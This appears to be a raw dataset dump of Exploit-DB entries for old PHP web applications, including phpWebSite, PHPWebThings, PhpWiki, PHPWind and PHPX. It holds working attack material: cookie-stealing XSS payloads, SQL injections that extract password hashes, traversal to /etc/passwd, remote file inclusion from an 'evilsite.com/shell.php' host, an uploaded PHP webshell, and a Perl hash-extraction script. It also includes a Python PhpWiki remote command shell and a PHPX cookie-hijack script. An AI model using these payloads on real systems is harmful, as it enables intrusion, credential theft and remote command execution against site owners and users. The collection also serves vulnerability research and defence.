deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23016
Description: phpWebSite 0.7.3/0.8.2/0.8.3/0.9.2 pagemaster Module - 'PAGE_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-08-11
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8393/info
 
PHP Website is a web site content management system that allows for easy maintainance and administration of interactive community-driven websites.
 
Cross-site vulnerabilities have been reported in the Calendar, PageMaster, Search and Fatcat modules that allow an attacker to create a link containing malicious script code that may be rendered in a user's browser when the link is followed.
 
This would occur in the security context of the site running PHP Website.

http://www.example.com/[PATH]/index.php?
module=pagemaster&PAGE_user_op=view_page&PAGE_id=10">[XSS ATTACK CODE]
&MMN_position=[X:X]
Exploit-DB #24736
Description: phpWebSite 0.7.3/0.8.x/0.9.3 - User Module HTTP Response Splitting
Type: webapps
Platform: php
Date: 2004-11-04
Author: Maestro De-Seguridad

Exploit:
source: https://www.securityfocus.com/bid/11673/info

A remote HTTP response splitting vulnerability reportedly affects phpWebSite in its user module. This issue is due to a failure of the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive

http://www.example.com/module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>This site in 0wned{/html}&[CREDENTIAL_REDACTED]
Exploit-DB #25945
Description: phpWebSite 0.7.3/0.8.x/0.9.x - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-07-06
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/14166/info

phpWebSite is affected by a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote unauthorized user can disclose the contents of arbitrary local files through the use of directory traversal strings '../'. Exploitation of this vulnerability could lead to a loss of confidentiality.

The vendor has released the patch phpwebsite_security_patch_20050705.2.tgz addressing this issue. 

http://www.example.com/phpwebsite/index.php?module=search&search_op=search&mod=../../../../../../../../etc/passwd%00&query=1&search=Search
Exploit-DB #24425
Description: phpWebSite 0.7.3/0.8.x/0.9.x Comment Module - 'CM_pid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-01
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11088/info

It is reported that phpWebSite is susceptible to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities.

The cross-site scripting issue is present in a parameter of the comments module script. An attacker can exploit these issues by creating a malicious link to the vulnerable module containing HTML and script code and send this link to a vulnerable user. When the user follows the link, the attacker-supplied code renders in the user's browser.

An SQL injection issue exists in the application as well. This issue affects a parameter of the calendar module script. This issue may be exploited to cause sensitive information to be disclosed to a remote attacker.

Finally, a HTML Injection vulnerability is reported to affect the application. The problem is said to occur in the notes module due to a lack of sufficient sanitization performed on user supplied data.

Attackers may potentially exploit this issue to manipulate web content, take unauthorized site actions in the context of the victim, or to steal cookie-based authentication credentials.

These vulnerabilities were reported in phpWebsite 0.9.3-4, previous versions are also reported to be vulnerable.

/index.php?module=comments&CM_op=replyToComment&CM_pid=1[XSS]
Exploit-DB #21825
Description: phpWebSite 0.8.2 - PHP File Inclusion
Type: webapps
Platform: php
Date: 2002-09-23
Author: Tim Vandermeersch

Exploit:
source: https://www.securityfocus.com/bid/5779/info

A vulnerability has been discovered in phpWebsite which allows an attacker to remotely include a malicious PHP file. It is possible for an attacker to specify a remote location for phpWebsite to download an attacker-supplied htmlheader.php script. 

This issue could be exploited to execute arbitrary commands within the context of the webserver process.

The following proof of concept has been supplied by Tim Vandermeersch:

http://SERVER/catalog/inludes/include_once.php?inc_prefix=http://MYBOX/

--- htmlheader.php ---
<?php echo "<?php passthru("/bin/ls");?>" ?> .
Exploit-DB #27449
Description: phpWebSite 0.8.2/0.8.3 - 'article.php?sid' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-20
Author: DaBDouB-MoSiKaR

Exploit:
source: https://www.securityfocus.com/bid/17150/info
 
phpWebSite is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
Versions 0.83 and prior are vulnerable.

http://www.example.com/article.php?sid=[sql]
Exploit-DB #27448
Description: phpWebSite 0.8.2/0.8.3 - 'friend.php?sid' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-20
Author: DaBDouB-MoSiKaR

Exploit:
source: https://www.securityfocus.com/bid/17150/info

phpWebSite is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Versions 0.83 and prior are vulnerable.

http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20name%20From%20users%20where%20uid=1
http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20pass%20From%20users%20where%20uid=1
Exploit-DB #21899
Description: phpWebSite 0.8.3 - 'article.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-10-02
Author: Sp.IC

Exploit:
source: https://www.securityfocus.com/bid/5864/info

phpWebSite is prone to cross-site scripting attacks.

This vulnerability is due to insufficient sanitization of HTML tags from URI parameters processed by the 'article.php' script. As a result, an attacker may construct a malicious link to this script which contains arbitrary HTML and script code.

When the malicious link is visited by a web user, the attacker-supplied code will be executed by their web client in the context of the site hosting the vulnerable software.

http://target/article.php?sid="><Img Src=javascript:alert(document.cookie)><Img Src="
Exploit-DB #21864
Description: phpWebSite 0.8.3 - News Message HTML Injection
Type: webapps
Platform: php
Date: 2002-09-25
Author: das@hush.com

Exploit:
source: https://www.securityfocus.com/bid/5802/info

Problems with phpWebSite could make it possible to execute arbitrary script code in a vulnerable client.

phpWebSite does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the phpWebSite software. 

<IMG SRC="javascript:alert('unsecure')">
Exploit-DB #32553
Description: phpWebSite 0.9.3 - 'links.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-31
Author: Beenu Arora

Exploit:
source: https://www.securityfocus.com/bid/32011/info

phpWebSite is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

We don't know which versions of phpWebSite are affected. We will update this BID as more information emerges.

NOTE: The vendor refutes this issue, stating that the vulnerable script has not been present in the application since either the 0.8.x or 0.9.x releases. 

http://www.example.com/links.php?op=viewlink&cid=5+and+1=2+union+select+concat(version(),0x3a,database(),0x3a,user())--
Exploit-DB #25161
Description: phpWebSite 0.x - Image File Processing Arbitrary '.PHP' File Upload
Type: webapps
Platform: php
Date: 2005-02-24
Author: tjomka

Exploit:
source: https://www.securityfocus.com/bid/12653/info

phpWebSite is reported prone to a remote arbitrary PHP file upload vulnerability. The issue presents itself due to a lack of sanitization performed on image files that are uploaded when submitting an announcement.

A remote attacker may exploit this condition to execute arbitrary PHP code in the context of the hosting web server process.

This vulnerability is reported to affect phpWebSite versions up to an including version 0.10.0. 

http://www.example.com/index.php?module=announce&ANN_user_op=submit_announcement&MMN_position=3:3

1. Fill all inputs
2. in Image: select nst.gif.php

press Save.

Go here http://www.example.com/images/announce/nst.gif.php?nst=ls -la
Exploit-DB #35407
Description: phpWebSite 1.7.1 - 'local' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-03
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46673/info

phpWebSite is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

phpWebSite 1.7.1 is vulnerable; other versions may also be affected. 

http://www.example.com/phpwebsite_1_7_1/javascript/editors/fckeditor/editor/custom.php?local=%3Cscript%3Ealert(0)%3C%2fscript%3E http://www.example.com/phpwebsite_1_7_1/javascript/editors/fckeditor/editor/custom.php?local=%3Cscript%3Ealert(0)%3C%2fscript%3E
Exploit-DB #36085
Description: phpWebSite 1.7.1 - 'mod.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-08-27
Author: Ehsan_Hp200

Exploit:
source: https://www.securityfocus.com/bid/49354/info

phpWebSite is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/mod.php?mod=publisher&op=allmedia&artid=-1 union select concat(aid,0x3a,pwd) from authors
Exploit-DB #26459
Description: PHPWebThings 0.4.4 - 'forum.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-02
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/15276/info

phpWebThings is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

phpWebThings version 1.4.4 is affected; other versions may also be vulnerable. 

http://www.example.com/forum.php?forum='><script>alert(document.cookie)</script>
Exploit-DB #26500
Description: PHPWebThings 1.4 - 'download.php?File' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-12
Author: A.1.M

Exploit:
source: https://www.securityfocus.com/bid/15399/info

phpWebThings is prone to an SQL injection vulnerability. This is an input validation issue related to data that will be used in SQL queries, allowing a remote user to influence the structure and logic of a query.

It is likely that the issue could compromise the software. Depending on the database implementation and the nature of the affected query, it may also be possible to gain unauthorized access to the database. 

http://www.example.com/download.php?file=|SQL
Exploit-DB #1325
Description: PHPWebThings 1.4 - 'forum' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-16
Author: AhLam

Exploit:
#!/bin/bin/perl
#-----------------------------------------------------#
#-      SQL injection in phpwebthing v 1.4.4
#-      Founder by Qptan & Exploting by AhLam
#-      www.leZe.Com Only For Geek Hacker's
#-      coded by AhLaM  A.1.M|at|hotmail.com
#-      http://www.lezr.com/vb/showthread.php?t=6557
#-----------------------------------------------------#
use LWP::Simple;

print "\n============================================\n";
print "\n   SQL injection in phpwebthing v 1.4.4    =  ";
print "\n   Founder by Qptan & Exploting by AhLam   =  ";
print "\n   www.leZe.Com Only For Geek Hacker's     =  ";
print "\n   Coded By AhLaM   A.1.M|at|hotmail.com         ";
print "\n============================================\n";

if(!$ARGV[0] or !$ARGV[1]) {
 print "\nUsage:\nperl $0 [host] [User ID] \n\nExample:\nperl $0 http://www.target.com/ 1\n";
 exit(0);
}
$url = "/forum.php?forum=-1%20union%20select%20password,password,null,null%20from%20wt_users%20where%20uid=$ARGV[1]/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page =~ m/ - (.*?)<\/td>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

# milw0rm.com [2005-11-16]
Exploit-DB #2811
Description: PHPWebThings 1.5.2 - 'editor.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-18
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ phpWebThings 1.5.2 (editor.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: phpWebThings 1.5.2
+ Vendor ............: http://www.phpwebthings.nl/
+ Download ..........: http://prdownloads.sourceforge.net/phpwebthings/phpwebthings_1_5_2.zip?download
+ Description .......: "phpWebThings is a Powerful, professional application framework"
+ Dork ..............: "This website was created with phpWebThings"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ phpWebThings 1.5.2 core/editor.php does not initialize the $editor_insert_bottom variable
+ before using it to include files, assuming register_globals = on, we can initialize the
+ variable in a query string and include a remote file of our choice.
+
+ Vulnerable Code: 
+ core/editor.php, line(s) 289:
+ -> 289: if ($editor_insert_bottom<>"") include($editor_insert_bottom);
+
+ Proof Of Concept:
+ http://[target]/[path]/core/editor.php?editor_insert_bottom=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-11-18]
Exploit-DB #8928
Description: PHPWebThings 1.5.2 - 'help.php?module' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-06-11
Author: Br0ly

Exploit:
----------------------------------------------------------------------------------------------------

  Name : phpwebthings <= 1.5.2
  Site : http://sourceforge.net/projects/phpwebthings/

  Down : http://sourceforge.net/project/downloading.php?group_id=19103&filename=phpwebthings_1_5_2.zip&a=46042396


----------------------------------------------------------------------------------------------------

 
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

----------------------------------------------------------------------------------------------------


  Description:

  Bug : Local File Inclusion
 
  Look this: 

    <?php           theme_draw_centerbox_open("Help");
    if (isset($_GET["module"])) include("modules/{$_GET["module"]}/lang/help_{$cfg["core"]["lang"]}.php"); <-- Vul 

                else include("lang/help_{$cfg["core"]["lang"]}.php");



  If magic_quotes_gpc=off --> LFI;  



----------------------------------------------------------------------------------------------------


  P0c:
 
    LFI:http://localhost/Scripts/phpwebthings_1_5_2/help?module=../../../../../../../../../../../../etc/passwd%00



  OBS: need register_globals=on;

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-11]
Exploit-DB #38238
Description: PHPWeby Free Directory Script - 'contact.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-01-25
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/57561/info

The PHPWeby Free directory script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHPWeby Free directory script 1.2 is vulnerable; other versions may also be affected. 

fullname=Ping And Pong Is Interesting Game xD%5C&mail=sssssssssssssssssss&subject=,(select case((select mid(`pass`,1,1) from admin_area limit 1 offset 0)) when 0x32 then sleep(10) else 0 end) ,1,2,3,4)-- and 5!=('Advertising+Inquiry&message=TEST
Exploit-DB #34451
Description: PhpWiki - Remote Command Execution
Type: webapps
Platform: php
Date: 2014-08-28
Author: Benjamin Harris

Exploit:
###############################################################
#    ____                    __                  _ __   _ 
#   / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)
#  / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / 
# / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / /  
#/_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/   
#             /_/ /_/         /_/                     
# Diskovered in Nov/Dec 2011
###############################################################

import urllib
import urllib2
import sys
def banner():
	print "	    ____                    __                  _ __   _ "
	print "	   / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)"
	print "	  / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / "
	print "	 / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / /  "
	print "	/_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/   "
	print "	             /_/ /_/         /_/                     \n"


def usage():
	banner()
	print "	[+] Usage example"
	print "	[-] python " + sys.argv[0] + " http://path.to/wiki"

if len(sys.argv)< 2:
	usage()
	quit()

domain = sys.argv[1]
def commandexec(cmd):
	data = urllib.urlencode([('pagename','HeIp'),('edit[content]','<<Ploticus device=";echo 123\':::\' 1>&2;'+cmd+' 1>&2;echo \':::\'123 1>&2;" -prefab= -csmap= data= alt= help= >>'),('edit[preview]','Preview'),('action','edit')])
	cmd1 = urllib2.Request(domain +'/index.php/HeIp',data)
	cmd2 = urllib2.urlopen(cmd1)
	output = cmd2.read()
	firstloc = output.find("123:::\n") + len("123:::\n")
	secondloc = output.find("\n:::123")
	return output[firstloc:secondloc]


banner()
print commandexec('uname -a')
print commandexec('id')
while(quit != 1):
	cmd = raw_input('Run a command: ')
	if cmd == 'quit':
		print "[-] Hope you had fun :)"
		quit = 1
	if cmd != 'quit':
		print commandexec(cmd)
Exploit-DB #33777
Description: PHPWind 6.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-19
Author: Liscker

Exploit:
source: https://www.securityfocus.com/bid/38867/info

PHPWind is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHPWind 6.0 is vulnerable; other versions may also be affected. 


http://www.example.com/hack.php?H_name=bank"><script>alert(/Liscker/);</script>
http://www.example.com/search.php?asc=desc"><script>alert(/Liscker/);</script>
http://www.example.com/read.php?nowtime="><script>alert(/Liscker/);</script>
http://www.example.com/post.php?fid=10"><script>alert(/Liscker/);</script>
http://www.example.com/profile.php?action=forumright"><script>alert(/Liscker/);</script>
http://www.example.com/thread.php?skinco=black"><script>alert(/Liscker/);</script>
http://www.example.com/message.php?action=scout"><script>alert(/Liscker/);</script>
http://www.example.com/sort.php?skinco=black"><script>alert(/Liscker/);</script>
http://www.example.com/userpay.php?skinco=black"><script>alert(/Liscker/);</script>
Exploit-DB #26608
Description: phpWordPress 3.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15582/info

PHPWordPress is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

PHPWordPress versions up to and including 3.0 are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/index.php?poll=[SQL]
http://www.example.com/index.php?category=[SQL]
http://www.example.com/?archive&ctg=[SQL]
Exploit-DB #23644
Description: PHPX 3.2.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2004-02-03
Author: Manuel L?pez

Exploit:
source: https://www.securityfocus.com/bid/9569/info

Multiple vulnerabilities were reported in PHPX. The specific issues include cross-site scripting, HTML injection and account hijacking via specially crafted cookies.

These issues were reported to exist in PHPX 3.2.3. Earlier versions are also likely affected.

<?php
/* Proof of concept for exploiting PHPX 3.2.4 (http://www.phpx.org) */
/* Quick hack, not really an affective tool, only useful as a demonstration */
/* Written by HelloWorld - Ryan Wray */

/* Usage: php -q exploit_file.php <host> <port> <admin_folder_location> */
function usage()
{
    echo "Usage request";
}

function bytes_left($fp)
{
    $status=socket_get_status($fp);
    if($status['unread_bytes'] > 0) { return true; }
    return false;
}
print_r($_SERVER['argv']);
if($_SERVER['argc'] != 4)
{
    exit(usage());
}

// Attempt to connect to host.
$fp=@fsockopen($_SERVER['argv'][1],$_SERVER['argv'][2]);

if(!$fp)
{
    exit('Could not connect to host: '.$_SERVER['argv'][1].':'.$_SERVER['argv'][2]);
}

else
{
    fputs($fp,"GET ".$_SERVER['argv'][3]."index.php HTTP/1.1\r\n");
    fputs($fp,"Host: ".$_SERVER['argv'][1]."\r\n");
    fputs($fp,"Cookie: PXL=2\r\n\r\n");
}
// Start accepting data, otherwise socket_get_status will say there are 0 unread bytes.
echo fgets($fp,1024);
// While we can read.
while(bytes_left($fp))
{
    echo fgets($fp,1024);
}
// Close the socket.
fclose($fp);
?>